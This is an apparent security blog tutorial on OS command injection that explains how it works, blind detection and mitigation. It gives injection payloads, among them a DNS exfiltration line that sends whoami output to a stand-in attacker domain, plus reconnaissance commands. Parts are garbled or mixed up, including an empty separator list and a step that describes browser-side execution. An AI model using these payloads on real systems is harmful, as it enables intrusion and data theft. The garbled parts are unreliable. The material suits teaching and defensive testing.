OS Command Injection

Steiner254

9 min readMar 15, 2022

~ In this article we will learn:

1. Introduction

2. What is OS Command Injection/Shell Injection?

3. Anatomy for OS Command Injection attack

4. Most common parameters that can be consider while testing for Command injection

5. How OS Command Injection works.

6. Executing arbitrary commands.

7. Useful Commands.

8. Blind OS Command Injection vulnerabilities.

9. Detecting Blind OS Command Injection using time delays.

10. Exploiting Blind OS Command Injection by redirecting output.

11. Exploiting Blind OS Command Injection using Out-Of-Band (OAST) techniques

12. Ways of injecting OS Commands.

13. Code Injection VS Command Injection

14. How to prevent OS Command injection attacks.

1. Introduction

~ Hello Hackers :) My name is Steiner254 (Alvin Mwambi). I am a Bug Hunter, Web Application Security Researcher, Full-Stack Web Developer, Penetration Tester, 24/7 Red Team Player, CTF player, Cyber Security Analyst, Th3 Sh13ld team founder and a Computer Science student.

~ You can find me on Twitter: https://twitter.com/steiner254

~ In this particular article we will cover deeply on the OS Command Injection/Shell Injection vulnerabilities, so grab some coffee see you beside me all through the journey :D

2. What is OS Command Injection/Shell Injection?

what is OS Command Injection or Shell Injection attack?

~ OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. Very often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, exploiting trust relationships to pivot the attack to other systems within the organization.

~ The payload injected by the attacker is executed as operating system commands. OS command injection attacks are possible only if the web application code includes operating system calls and user input is used in the call. They are not language-specific — command injection vulnerabilities may appear in all languages that let you call a system shell command: C, Java, PHP, Perl, Ruby, Python, and more.

~ The operating system executes the injected arbitrary commands with the privileges of the web server. Therefore, command injection vulnerabilities on their own do not lead to full system compromise. However, attackers may be able to use privilege escalation and other vulnerabilities to gain more access.

3. Anatomy for OS Command Injection attack

~ There are two basic ways attackers deploy OS command injection:

>> An application executes a fixed program that operates under its control. After the breach, it accepts outside input as arguments. These arguments trigger various actions and behavior.

Example: The attack script accesses the system call (“nslookup [hostname]”) to run nslookup with the HOSTNAME appearing as an argument from the user. If the program does not removed separators included with the externally generated HOSTNAME argument, the attacker can place separators inside the argument and executive his or her own commands.

>> An application relies on input to select the program that will run along with the commands to include in the attack. The application sanitizes the input and then redirects the command to the OS.

Example: The application relies on exec([COMMAND]). The input is supplied from an external source. Once an attacker controls the [COMMAND] argument, he or she can execute arbitrary commands and desired scripts on the system.

4. Most common parameters that can be consider while testing for Command injection

~ The most common parameters that can be consider while testing for Command injection can be found below:

>> cmd

>> exec

>> command

>> execute

>> ping

>> query

>> jump

>> code

>> reg

>> do

>> func

>> arg

>> option

>> load

>> process

>> step

>> read

>> function

>> req

>> feature

>> exe

>> module

>> payload

>> run

>> print

5. How OS Command Injection works

~ OS Command Injection works as follows:

Step 1: Attackers identify a critical vulnerability in an application. This allows them to insert malicious code into the OS and gain any functionality the underlying application offers. The attackers can unleash the attack even without direct access to the OS.

Step 2: The attacker alters dynamically generated content on a web page using HTML code through an input mechanism such as a form field or cookies.

Step 3: Once the code is inserted into the affected web page, browsers interpret the code. This allows the attackers to execute specific commands across user’s computers — along with both users’ networks and the infected system’s network.

6. Executing Arbitrary Commands

~ Consider a shopping application that lets the user view whether an item is in stock in a particular store. This information is accessed via a URL like:

https://insecure-website.com/stockStatus?productID=381&storeID=29

~ To provide the stock information, the application must query various legacy systems. For historical reasons, the functionality is implemented by calling out to a shell command with the product and store IDs as arguments:

stockreport.pl 381 29

~ This command outputs the stock status for the specified item, which is returned to the user. Since the application implements no defenses against OS command injection, an attacker can submit the following input to execute an arbitrary command:

& echo aiwefwlguh &

~ If this input is submitted in the productID parameter, then the command executed by the application is:

stockreport.pl & echo aiwefwlguh & 29

~ The echo command simply causes the supplied string to be echoed in the output, and is a useful way to test for some types of OS command injection. The & character is a shell command separator, and so what gets executed is actually three separate commands one after another. As a result, the output returned to the user is:

Error — productID was not provided

aiwefwlguh

29: command not found

~ The three lines of output demonstrate that:

The original stockreport.pl command was executed without its expected arguments, and so returned an error message.

The injected echo command was executed, and the supplied string was echoed in the output.

The original argument 29 was executed as a command, which caused an error.

~ Placing the additional command separator & after the injected command is generally useful because it separates the injected command from whatever follows the injection point. This reduces the likelihood that what follows will prevent the injected command from executing.

7. Useful Commands

~ When you have identified an OS command injection vulnerability, it is generally useful to execute some initial commands to obtain information about the system that you have compromised. Below is a summary of some commands that are useful on Linux and Windows platforms:

Purpose of command

Linux

Windows

Name of current user

whoami

Operating system

uname -a

ver

Network configuration

ifconfig

ipconfig /all

Network connections

netstat -an

Running processes

ps -ef

tasklist

8. Blind OS Command Injection vulnerabilities.

~ Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response. Blind vulnerabilities can still be exploited, but different techniques are required.

~ Consider a web site that lets users submit feedback about the site. The user enters their email address and feedback message. The server-side application then generates an email to a site administrator containing the feedback. To do this, it calls out to the mail program with the submitted details. For example:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

~ The output from the mail command (if any) is not returned in the application's responses, and so using the echo payload would not be effective. In this situation, you can use a variety of other techniques to detect and exploit a vulnerability.

9. Detecting Blind OS Command Injection using time delays.

~ You can use an injected command that will trigger a time delay, allowing you to confirm that the command was executed based on the time that the application takes to respond. The ping command is an effective way to do this, as it lets you specify the number of ICMP packets to send, and therefore the time taken for the command to run:

& ping -c 10 127.0.0.1 &

~ This command will cause the application to ping its loopback network adapter for 10 seconds

10. Exploiting Blind OS Command Injections by redirecting output.

~ You can redirect the output from the injected command into a file within the web root that you can then retrieve using your browser. For example, if the application serves static resources from the filesystem location /var/www/static, then you can submit the following input:

& whoami > /var/www/static/whoami.txt &

~ The > character sends the output from the whoami command to the specified file. You can then use your browser to fetch https://vulnerable-website.com/whoami.txt to retrieve the file, and view the output from the injected command.

11. Exploiting blind OS command injection using out-of-band (OAST) techniques

~ You can use an injected command that will trigger an out-of-band network interaction with a system that you control, using OAST techniques. For example:

& nslookup kgji2ohoyw.web-attacker.com &

This payload uses the nslookup command to cause a DNS lookup for the specified domain. The attacker can monitor for the specified lookup occurring, and thereby detect that the command was successfully injected.

~ The out-of-band channel also provides an easy way to exfiltrate the output from injected commands:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

~ This will cause a DNS lookup to the attacker’s domain containing the result of the whoami command:

wwwuser.kgji2ohoyw.web-attacker.com

12. Ways of injecting OS Commands

~ A variety of shell metacharacters can be used to perform OS command injection attacks.

~ A number of characters function as command separators, allowing commands to be chained together. The following command separators work on both Windows and Unix-based systems:

~ The following command separators work only on Unix-based systems:

;

Newline (0x0a or \n)

~ On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command:

`injected command `

$(injected command )

~ Note that the different shell metacharacters have subtly different behaviors that might affect whether they work in certain situations, and whether they allow in-band retrieval of command output or are useful only for blind exploitation.

~ Sometimes, the input that you control appears within quotation marks in the original command. In this situation, you need to terminate the quoted context (using “ or ‘) before using suitable shell metacharacters to inject a new command.

13. Code Injection VS Command Injection

~ Code injection is a generic term for any type of attack that involves an injection of code interpreted/executed by an application. This type of attack takes advantage of mishandling of untrusted data inputs. It is made possible by a lack of proper input/output data validation.

A key limitation of code injection attacks is that they are confined to the application or system they target. If an attacker can inject PHP code into an application and execute it, malicious code will be limited by PHP functionality and permissions granted to PHP on the host machine.

~ Command injection typically involves executing commands in a system shell or other parts of the environment. The attacker extends the default functionality of a vulnerable application, causing it to pass commands to the system shell, without needing to inject malicious code. In many cases, command injection gives the attacker greater control over the target system.

14. Mitigation/How to prevent OS Command Injection vulnerabilities

mitigation for OS Command Injection vulnerabilities

~ By far the most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code. In virtually every case, there are alternate ways of implementing the required functionality using safer platform APIs.

~ If it is considered unavoidable to call out to OS commands with user-supplied input, then strong input validation must be performed. Some examples of effective validation include:

>> Validating against a whitelist of permitted values.

>> Validating that the input is a number.

>> Validating that the input contains only alphanumeric characters, no other syntax or whitespace.

~ Never attempt to sanitize input by escaping shell metacharacters. In practice, this is just too error-prone and vulnerable to being bypassed by a skilled attacker.